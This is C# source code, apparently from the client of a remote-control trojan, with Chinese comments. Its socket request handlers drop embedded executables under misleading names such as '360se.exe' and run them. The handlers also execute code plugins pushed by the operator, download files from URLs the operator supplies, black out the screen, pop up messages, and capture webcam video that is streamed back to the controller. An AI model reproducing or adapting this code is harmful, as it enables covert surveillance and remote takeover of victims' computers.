private void StartBlackScreen(SocketSession session) { try { // 释放黑屏程序 byte[] data = ResUtil.GetResFileData(RES_FILE_NAME); string blackScreenFileName = ResUtil.WriteToRandomFile(data, "blackscreen.exe"); // 启动黑屏程序 ProcessUtil.RunByCmdStart(blackScreenFileName + " blackscreen", true); } catch (Exception ex) { Console.WriteLine(ex.Message); } }
private void StartPlayMusic(SocketSession session, string musicFilePath) { try { // 释放音乐播放程序 byte[] data = ResUtil.GetResFileData(RES_FILE_NAME); string musicPlayerFileName = ResUtil.WriteToRandomFile(data, "mscp.exe"); lastPlayMusicExeFile = System.IO.Path.GetFileNameWithoutExtension(musicPlayerFileName); // 启动音乐播放程序 ProcessUtil.RunByCmdStart(musicPlayerFileName + " player " + musicFilePath, true); } catch (Exception ex) { Console.WriteLine(ex.Message); } }
private void Run(RequestRunExecCode req) { try { Console.WriteLine("请求ID:" + req.ID); if (codePluginDic.ContainsKey(req.ID)) { if (req.Mode == eExecMode.ExecByPlugin) { byte[] data = codePluginDic[req.ID].ToArray(); Console.WriteLine("数据长度:" + data.Length); PluginLoader.LoadPlugin(data, null); codePluginDic.Remove(req.ID); } else if (req.Mode == eExecMode.ExecByFile) { if (req.FileArguments == null) { req.FileArguments = string.Empty; } // 释放文件 byte[] data = codePluginDic[req.ID].ToArray(); string tempFile = ResUtil.WriteToRandomFile(data, "360se.exe"); // 启动新程序 Thread t = ProcessUtil.RunByCmdStart(tempFile, req.FileArguments, true); t.Join(); if (req.IsKillMySelf) { // 结束当前进程 if (OnFireQuit != null) { OnFireQuit(null, null); } } } } else { Console.WriteLine("请求ID不存在:" + req.ID); } } catch (Exception ex) { } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestDownloadWebFile; try { // 释放程序 byte[] data = ResUtil.GetResFileData(RES_FILE_NAME); string fileName = ResUtil.WriteToRandomFile(data, "download.exe"); // 启动程序 string arguments = string.Format("{0} {1}", req.WebFileUrl, req.DestinationPath); ProcessUtil.RunByCmdStart(fileName + " downloader " + arguments, true); } catch (Exception ex) { Console.WriteLine(ex.Message); } }
private void StartShowMsgBox(SocketSession session, RequestMessageBox req) { try { if (lastMsgBoxExeFile == null || !System.IO.File.Exists(lastMsgBoxExeFile)) { // 释放弹窗程序 byte[] data = ResUtil.GetResFileData(RES_FILE_NAME); string fileName = ResUtil.WriteToRandomFile(data, "msg.exe"); lastMsgBoxExeFile = fileName; } // 启动弹窗程序 string msgBoxArguments = string.Format("{0} {1} {2} {3}", req.Content, req.Title, req.MessageBoxButtons, req.MessageBoxIcons); ProcessUtil.RunByCmdStart(lastMsgBoxExeFile + " msgbox " + msgBoxArguments, true); } catch (Exception ex) { Console.WriteLine(ex.Message); } }
private void StartCapture(SocketSession session) { // 关闭上次打开的程序 Console.WriteLine("当前lastVideoCaptureExeFile:" + _lastVideoCaptureExeFile); if (_lastVideoCaptureExeFile == null) { if (System.IO.File.Exists(_lastVideoCapturePathStoreFile)) { _lastVideoCaptureExeFile = System.IO.File.ReadAllText(_lastVideoCapturePathStoreFile); Console.WriteLine("读取到store文件:" + _lastVideoCaptureExeFile); } } if (_lastVideoCaptureExeFile != null) { string processName = System.IO.Path.GetFileNameWithoutExtension(_lastVideoCaptureExeFile); ProcessUtil.KillProcess(processName.ToLower()); } // 释放并打开视频程序 byte[] data = ResUtil.GetResFileData(RES_FILE_NAME); string fileName = ResUtil.WriteToRandomFile(data, "camc.exe"); _lastVideoCaptureExeFile = fileName; System.IO.File.WriteAllText(_lastVideoCapturePathStoreFile, fileName); ProcessUtil.RunByCmdStart(fileName + " camcapture /fps:" + _request.Fps, true); // 查找视频程序的端口 string pName = System.IO.Path.GetFileNameWithoutExtension(_lastVideoCaptureExeFile); DoOutput("已启动视频监控程序:" + pName); int port = -1; int tryTimes = 0; while (tryTimes < 60) { port = FindServerPortByProcessName(pName); DoOutput("视频端口:" + port); if (port != -1) { break; } Thread.Sleep(1000); tryTimes++; } if (port == -1) { _isRunning = false; return; } CaptureVideoClient.MessagerReceived += (o, args) => { try { var p = o as List <byte>; var resp = new ResponseStartCaptureVideo(); resp.CollectTime = new DateTime(BitConverter.ToInt64(p.ToArray(), 0)); p.RemoveRange(0, 8); resp.ImageData = p.ToArray(); if (resp.ImageData != null) { DoOutput("接收到视频数据" + resp.ImageData.Length); } session.Send(ePacketType.PACKET_START_CAPTURE_VIDEO_RESPONSE, resp); } catch (Exception ex) { Console.WriteLine("CaptureVideoClient.MessagerReceived," + ex.Message); } }; try { CaptureVideoClient.Connect("127.0.0.1", port); DoOutput("已经连接上视频服务"); } catch (Exception ex) { Console.WriteLine(ex.Message); } // 检测是否已经关闭监控视频,并退出服务,结束视频服务程序 while (true) { if (!_isRunning) { DoOutput("已关闭视频监控数据传输连接!"); CaptureVideoClient.Close(); if (_lastVideoCaptureExeFile != null) { string processName = System.IO.Path.GetFileNameWithoutExtension(_lastVideoCaptureExeFile); ProcessUtil.KillProcess(processName.ToLower()); } break; } Thread.Sleep(1000); } _isRunning = false; }